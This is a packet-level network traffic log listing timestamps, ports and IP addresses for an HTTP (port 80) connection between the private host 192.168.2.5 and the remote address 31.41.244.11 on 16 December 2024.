Dec 16, 2024 09:01:11.993365049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.993488073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.993540049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.994366884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.994494915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.994549036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.995377064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.995434999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.995449066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.995510101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.996366978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.996418953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.996469021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.996547937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.997380018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.997433901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.997483969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.997663021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.998354912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.998467922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.998523951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.999377012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.999511957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.999562979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.000430107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.000482082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.000485897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.000790119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.001358986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.001410961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.001468897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.001550913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.002330065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.002376080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.002453089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.002511978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.143279076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.143388033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.143424034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.143476963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.143714905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.143816948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.143868923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.143919945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.144705057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.144754887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.144812107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.144861937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.145677090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.145730972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.145780087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.145829916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.146927118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.146979094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.147047043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.147095919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.147695065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.147747993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.147811890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.147857904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.148716927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.148767948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.148797035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.148861885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.149693012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.149740934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.149807930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.149858952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.150671005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.150723934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.150801897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.150851965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.151680946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.151730061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.151809931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.151858091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.152673960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.152719975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.152787924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.152832985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.153726101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.153776884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.153856039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.153904915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.154653072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.154704094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.154752016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.154802084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.155642986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.155693054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.155699968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.155746937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.156642914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.156696081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.156699896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.156744957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.157629967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.157680988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.157706976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.157752991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.158632994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.158683062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.158768892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.158818007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.159671068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.159724951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.159809113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.159857988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.160670042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.160721064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.160890102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.160938978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.161843061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.161880016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.161891937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.161921978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.162977934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.163028955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.163098097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.163147926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.164043903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.164096117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.164139032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.164185047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.164938927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.164989948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.165011883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.165060043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.165954113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.166006088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.166064978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.166111946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.166671991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.166721106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.166727066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.166771889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.167598963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.167649031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.167655945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.167704105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.168612957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.168661118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.168724060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.168772936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.169595957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.169646978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.169703960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.169754028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.170604944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.170655012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.170701027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.170748949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.171602011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.171654940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.171724081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.171772957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.172621965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.172672033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.172755957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.172802925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.173604965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.173655033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.173723936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.173773050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.174581051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.174631119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.174712896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.174762011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.175698042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.175749063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.175817966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.175867081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.176570892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.176619053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.176698923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.176748037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.177571058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.177618980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.177675962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.177723885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.178596020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.178647041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.178653955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.178697109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.179574013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.179625988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.179687977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.179734945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.180579901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.180636883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.180704117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.180752039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.181535959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.181662083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.181720972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.182573080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.182626009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.182681084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.182781935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.183589935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.183640003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.183721066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.183769941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.184573889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.184638023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.184691906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.184741020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.185652971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.185704947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.185775995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.185847998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.186556101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.186669111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.186676979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.186723948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.187602043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.187654972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.187711954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.187762022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.188637018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.188688040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.188692093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.188740969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.189505100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.189558029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.189559937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.189605951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.190510035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.190565109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.190632105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.190675020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.191565990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.191617966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.191725016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.191771984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.192532063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.192579031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.192581892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.192631006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.193557024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.193608046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.193613052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.193656921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.194561005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.194624901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.194693089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.194736004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.195477962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.195524931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.335648060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.335748911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.335856915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.335916042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.336107016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.336163998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.336241007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.336301088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.337116003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.337166071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.337296009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.337343931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.338140011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.338192940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.338267088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.338311911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.339217901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.339266062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.339272976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.339329004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.340092897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.340142965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.340205908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.340255022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.341083050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.341130972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.341229916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.341284037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.342066050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.342117071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.342196941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.342252970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.343101978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.343153954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.343215942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.343256950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.344115973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.344166994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.344340086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.344388008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.345081091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.345130920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.345145941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.345192909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.346096039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.346153021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.346187115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.346227884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.347068071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.347117901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.347167969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.347215891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.348051071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.348098040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.348197937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.348244905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.349076986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.349126101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.349169970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.349339008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.350070953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.350122929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.350152969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.350205898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.351063967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.351113081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.351387024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.351434946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.352055073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.352104902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.352188110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.352236032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.353051901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.353100061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.353166103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.353218079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.354038000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.354089975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.354155064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.354201078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.355113029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.355161905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.355300903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.355345011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.356050014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.356101036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.356167078 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.356218100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.357050896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.357095957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.357136965 CET	80	49817	31.41.244.11	192.168.2.5
